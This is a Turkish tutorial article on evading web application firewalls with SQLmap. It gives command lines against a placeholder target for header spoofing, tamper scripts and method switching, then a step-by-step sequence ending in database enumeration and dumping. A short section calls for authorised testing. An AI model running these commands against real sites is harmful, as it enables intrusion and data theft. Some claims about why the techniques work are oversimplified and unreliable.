SQLmap WAF Bypass, web uygulama güvenlik duvarları (WAF), web uygulamalarını kötü amaçlı saldırılardan korumak için tasarlanmıştır. SQLmap, SQL enjeksiyonu açıklarını tespit ve istismar etmek için kullanılan bir araçtır. Ancak, WAF’lar SQLmap gibi araçlara karşı bir savunma mekanizması oluşturur. Bu makalede, SQLmap kullanarak WAF’ları nasıl bypass edebileceğinizi detaylı ve açıklayıcı bir şekilde ele alacağız.
1. WAF Nedir?
İçindekiler
Web Uygulama Güvenlik Duvarı (WAF), HTTP/HTTPS isteklerini izleyerek ve filtreleyerek web uygulamalarını korur. WAF’lar, SQL enjeksiyonu, XSS, CSRF gibi saldırı türlerini tespit eder ve engeller. Fakat her güvenlik önlemi gibi, WAF’lar da aşılabilir. Bu makalede, SQLmap ile WAF’ları bypass etmenin yollarını inceleyeceğiz.
2. SQLmap Nedir?
SQLmap, SQL enjeksiyonu açıklarını otomatik olarak tespit eden ve bu açıkları istismar eden açık kaynaklı bir araçtır. SQLmap, veritabanı bilgilerini elde etmek, veritabanına veri eklemek veya değiştirmek gibi işlemleri gerçekleştirebilir.
3. WAF Bypass Yöntemleri
3.1. HTTP Başlıkları Manipülasyonu
WAF’lar genellikle belirli HTTP başlıklarını kontrol eder ve buna göre karar verirler. Bu başlıkları değiştirerek veya ekleyerek WAF’ı atlatabilirsiniz.
sqlmap -u "http://target.com/vulnerable.php?id=1" --random-agent --headers="X-Forwarded-For: 127.0.0.1"
3.2. Zaman Bazlı Teknikler
WAF’lar, belirli SQL sorgularını algılayabilir ancak zaman bazlı SQL enjeksiyonu tekniklerini atlayabilirler.
sqlmap -u "http://target.com/vulnerable.php?id=1" --time-sec=10
3.3. Kodlama ve Şifreleme
SQL sorgularını base64, URL encoding gibi tekniklerle şifreleyerek WAF’ı aldatabilirsiniz.
sqlmap -u "http://target.com/vulnerable.php?id=1" --tamper=base64encode
3.4. Tamper Script Kullanımı
SQLmap, SQL sorgularını değiştirmek için tamper script’lerini kullanmanıza olanak tanır. Bu script’ler, WAF’ı atlatmanıza yardımcı olabilir.
sqlmap -u "http://target.com/vulnerable.php?id=1" --tamper=space2comment
3.5. GET ve POST Parametrelerini Değiştirme
SQL sorgularını POST yerine GET parametreleriyle veya tam tersi şekilde göndererek WAF’ı atlatabilirsiniz.
sqlmap -u "http://target.com/vulnerable.php?id=1" --method=POST --data="id=1"
4. SQLmap ile WAF Bypass Adım Adım
Bu bölümde, SQLmap kullanarak bir WAF’ı nasıl bypass edeceğinizi adım adım anlatacağız.
Adım 1: Hedef Belirleme
Öncelikle hedef URL’yi belirleyin ve SQL enjeksiyonu açığı olup olmadığını test edin.
sqlmap -u "http://target.com/vulnerable.php?id=1" --dbs
Adım 2: WAF Tespit Etme
Hedef web uygulamasının bir WAF’a sahip olup olmadığını tespit edin.
sqlmap -u "http://target.com/vulnerable.php?id=1" --identify-waf
Adım 3: Bypass Yöntemini Seçme
WAF tespit edildikten sonra, uygun bypass yöntemini seçin. Örneğin, tamper script kullanarak devam edebilirsiniz.
sqlmap -u "http://target.com/vulnerable.php?id=1" --tamper=space2comment
Adım 4: Saldırıyı Gerçekleştirme
Seçilen bypass yöntemini kullanarak SQL enjeksiyonu saldırısını gerçekleştirin.
sqlmap -u "http://target.com/vulnerable.php?id=1" --dump
5. Güvenlik Önlemleri
WAF’ları bypass etmek, yalnızca güvenlik testleri ve etik hacking amaçları için kullanılmalıdır. Yasadışı faaliyetler için kullanılması durumunda ciddi hukuki sonuçlar doğurabilir. Ayrıca, WAF’ları atlatmaya çalışırken aşağıdaki önlemleri alın:
- Yetkilendirme: Hedef web uygulamasının sahibi veya yetkilendirilmiş bir kişi tarafından izin alın.
- Loglar: WAF bypass girişimlerinizi kaydedin ve yetkililere sunmak üzere saklayın.
- Güvenlik Testleri: Bypass işlemlerini izole ve kontrollü bir ortamda gerçekleştirin.
SQLmap ile WAF bypass etmek, güvenlik testleri ve etik hacking için önemli bir beceridir. Bu makalede, farklı bypass tekniklerini ve adım adım SQLmap kullanımını ele aldık. Güvenlik önlemlerine dikkat ederek, bu bilgileri sorumlu bir şekilde kullanmanız önemlidir. Unutmayın, amacımız güvenliği artırmak ve zayıf noktaları belirlemektir.
Eğer daha fazla bilgiye ihtiyaç duyarsanız veya spesifik bir konuda yardım almak isterseniz, lütfen çekinmeden sorularınızı paylaşın.